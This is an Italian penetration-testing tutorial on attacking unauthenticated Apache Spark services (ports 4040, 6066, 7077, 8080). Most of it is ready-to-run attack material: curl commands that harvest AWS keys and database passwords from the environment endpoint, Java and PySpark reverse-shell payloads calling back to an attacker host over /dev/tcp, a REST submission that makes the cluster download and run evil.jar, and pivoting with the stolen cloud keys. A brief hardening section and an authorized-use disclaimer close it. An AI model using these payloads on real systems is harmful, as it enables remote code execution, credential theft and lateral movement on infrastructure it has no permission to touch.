networking

Porta 4040 Spark UI: Pentest, Credenziali e Cluster Map

Porta 4040 Spark UI: Pentest, Credenziali e Cluster Map

Porta 4040 Spark UI nel pentest: environment leak, worker discovery, credenziali esposte e pivot verso REST API 6066 e cluster big data.

  • Pubblicato il 2026-04-14
  • Tempo di lettura: 3 min

Apache Spark è il framework di elaborazione dati distribuita più usato in ambito big data e machine learning. La porta 4040 ospita la Spark Web UI, un’interfaccia diagnostica che mostra job in esecuzione, configurazione, variabili d’ambiente e metriche del cluster. Non richiede autenticazione di default. Nel penetration testing, la Spark UI esposta è un finding di alto valore: non solo rivela l’intera configurazione del cluster con hostname interni e credenziali in chiaro nelle variabili d’ambiente, ma le versioni con REST API abilitata sulla porta 6066 permettono di sottomettere job arbitrari — Remote Code Execution come utente Spark sull’infrastruttura big data.

La Spark UI sulla 4040 è l’interfaccia del driver (il processo che coordina il job). Ogni applicazione Spark ha la sua UI su una porta incrementale (4040, 4041, 4042…). Il Spark Master ha una UI separata sulla porta 8080. Lo Spark History Server sulla 18080. Tutte senza autenticazione di default.

Architettura Porte Spark #

text
┌────────────────────────────────────────────────┐
│                 Spark Cluster                   │
│                                                 │
│  Master (:8080 UI, :7077 cluster, :6066 REST)  │
│     ├── Worker 1 (:8081 UI)                    │
│     ├── Worker 2 (:8081 UI)                    │
│     └── Worker 3 (:8081 UI)                    │
│                                                 │
│  Driver Application (:4040 UI) ← QUESTA PORTA  │
│                                                 │
│  History Server (:18080 UI)                     │
└────────────────────────────────────────────────┘
PortaServizioAutenticazione default
4040Application UI (driver)Nessuna
7077Master cluster protocolNessuna
6066Master REST APINessuna
8080Master Web UINessuna
8081Worker Web UINessuna
18080History ServerNessuna

1. Enumerazione #

Nmap #

bash
nmap -sV -p 4040,6066,7077,8080,8081,18080 10.10.10.40
text
PORT      STATE SERVICE       VERSION
4040/tcp  open  http          Jetty (Spark UI)
6066/tcp  open  http          Spark REST API
7077/tcp  open  spark-master
8080/tcp  open  http          Spark Master UI

Spark Application UI (porta 4040) #

bash
curl -s http://10.10.10.40:4040/

La dashboard mostra: job attivi e completati, stages, storage, environment e executors.

Environment — Il Tesoro #

bash
curl -s http://10.10.10.40:4040/api/v1/applications/ | python3 -m json.tool
json
[{
    "id": "app-20260115100000-0001",
    "name": "ProductionETL",
    "attempts": [{
        "startTime": "2026-01-15T10:00:00.000GMT",
        "sparkUser": "spark"
    }]
}]
bash
# Environment completo — QUI CI SONO LE CREDENZIALI
curl -s http://10.10.10.40:4040/api/v1/applications/app-20260115100000-0001/environment | python3 -m json.tool
json
{
    "sparkProperties": [
        ["spark.master", "spark://master-01.corp.internal:7077"],
        ["spark.app.name", "ProductionETL"],
        ["spark.hadoop.fs.s3a.access.key", "AKIAIOSFODNN7EXAMPLE"],
        ["spark.hadoop.fs.s3a.secret.key", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"],
        ["spark.jdbc.url", "jdbc:mysql://db-prod.corp.internal:3306/analytics"],
        ["spark.jdbc.user", "etl_user"],
        ["spark.jdbc.password", "ETL_Pr0d_2025!"]
    ],
    "systemProperties": [
        ["user.name", "spark"],
        ["os.name", "Linux"],
        ["os.version", "5.15.0-91-generic"],
        ["java.version", "11.0.15"]
    ],
    "environmentVariables": [
        ["AWS_ACCESS_KEY_ID", "AKIAIOSFODNN7EXAMPLE"],
        ["AWS_SECRET_ACCESS_KEY", "wJalrXUtnFEMI/K7MDENG/..."],
        ["HADOOP_HOME", "/opt/hadoop"]
    ]
}

Gold puro in una singola richiesta HTTP:

  • spark.master: hostname del master → master-01.corp.internal:7077
  • AWS keys: access key e secret key per S3 → privilege escalation AWS
  • JDBC credentials: utente e password per MySQL di produzione
  • Hostname interni: mappa dell’infrastruttura
  • Java e kernel version: per cercare kernel exploit e CVE Java

Executors — Mappa dei Worker #

bash
curl -s http://10.10.10.40:4040/api/v1/applications/app-.../allexecutors | python3 -m json.tool
json
[
    {"id": "0", "hostPort": "worker-01.corp.internal:45678", "totalCores": 8},
    {"id": "1", "hostPort": "worker-02.corp.internal:45679", "totalCores": 8},
    {"id": "2", "hostPort": "worker-03.corp.internal:45680", "totalCores": 8}
]

Tre worker con hostname — nuovi target.

Master UI (porta 8080) #

bash
curl -s http://10.10.10.40:8080/

Mostra tutti i worker, tutte le applicazioni, risorse del cluster. Senza auth → vista completa.

2. RCE tramite REST API (porta 6066) #

Se la porta 6066 è esposta, puoi sottomettere job arbitrari.

Verifica REST API #

bash
curl -s http://10.10.10.40:6066/v1/submissions/status/driver-0

Se risponde → REST API attiva.

Reverse shell via Spark job (Java) #

java
// Evil.java
import java.io.*;
public class Evil {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec(new String[]{
            "/bin/bash", "-c",
            "bash -i >& /dev/tcp/10.10.10.200/4444 0>&1"
        });
    }
}
bash
javac Evil.java && jar cfe evil.jar Evil Evil.class
bash
curl -X POST http://10.10.10.40:6066/v1/submissions/create \
  --header "Content-Type:application/json" \
  -d '{
    "appResource": "http://10.10.10.200/evil.jar",
    "sparkProperties": {
        "spark.master": "spark://10.10.10.40:7077",
        "spark.app.name": "LegitETL",
        "spark.submit.deployMode": "cluster"
    },
    "mainClass": "Evil",
    "action": "CreateSubmissionRequest"
  }'

Job eseguito su un worker → reverse shell come utente spark.

RCE via PySpark #

bash
# evil.py su un server raggiungibile
import os; os.system("bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'")

Sottometti come PythonRunner via REST API.

3. Pivoting nell’Infrastruttura Big Data #

Da Spark a Hadoop/HDFS #

bash
curl -s http://10.10.10.40:4040/api/v1/applications/APP_ID/environment | grep hadoop
text
spark.hadoop.fs.defaultFS = hdfs://namenode-01.corp.internal:8020

NameNode → WebUI HDFS (porta 9870) → filesystem distribuito.

Da Spark a Database #

Credenziali JDBC trovate → MySQL, Oracle.

Da Spark ad AWS/S3 #

bash
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...
aws s3 ls
aws sts get-caller-identity

Da Spark a Kafka/Zookeeper #

text
spark.kafka.bootstrap.servers = kafka-01.corp.internal:9092

I broker Kafka e Zookeeper sono ora target per l’enumerazione.

4. Detection & Hardening #

  • ACL sulla Web UIspark.ui.filters per autenticazione
  • Disabilita REST API se non necessaria: spark.master.rest.enabled=false
  • Firewall — porte 4040, 6066, 7077, 8080, 8081 SOLO sulla rete interna del cluster
  • Non mettere credenziali nelle spark properties — usa secret manager (Vault, AWS Secrets Manager)
  • Kerberos per Spark in ambienti Hadoop
  • Network segmentation — cluster big data isolato
  • Audit log — monitora job sottomessi via REST API

5. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 4040,6066,7077,8080 target
Application listcurl -s http://target:4040/api/v1/applications/
Environment (creds!)curl -s http://target:4040/api/v1/applications/APP_ID/environment
Executors (workers)curl -s http://target:4040/api/v1/applications/APP_ID/allexecutors
Master UIcurl -s http://target:8080/
REST API statuscurl -s http://target:6066/v1/submissions/status/driver-0
Submit job (RCE)curl -X POST http://target:6066/v1/submissions/create -d '{...}'
SQL queriescurl -s http://target:4040/api/v1/applications/APP_ID/sql/
History servercurl -s http://target:18080/api/v1/applications/

Riferimento: Apache Spark Security documentation, HackTricks Spark, big data security best practices. Uso esclusivo in ambienti autorizzati. https://spark.apache.org/docs/latest/configuration.html

hackita.it/supportohackita.it/servizi.

#Spark Web UI #Spark REST API #Big Data Security

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.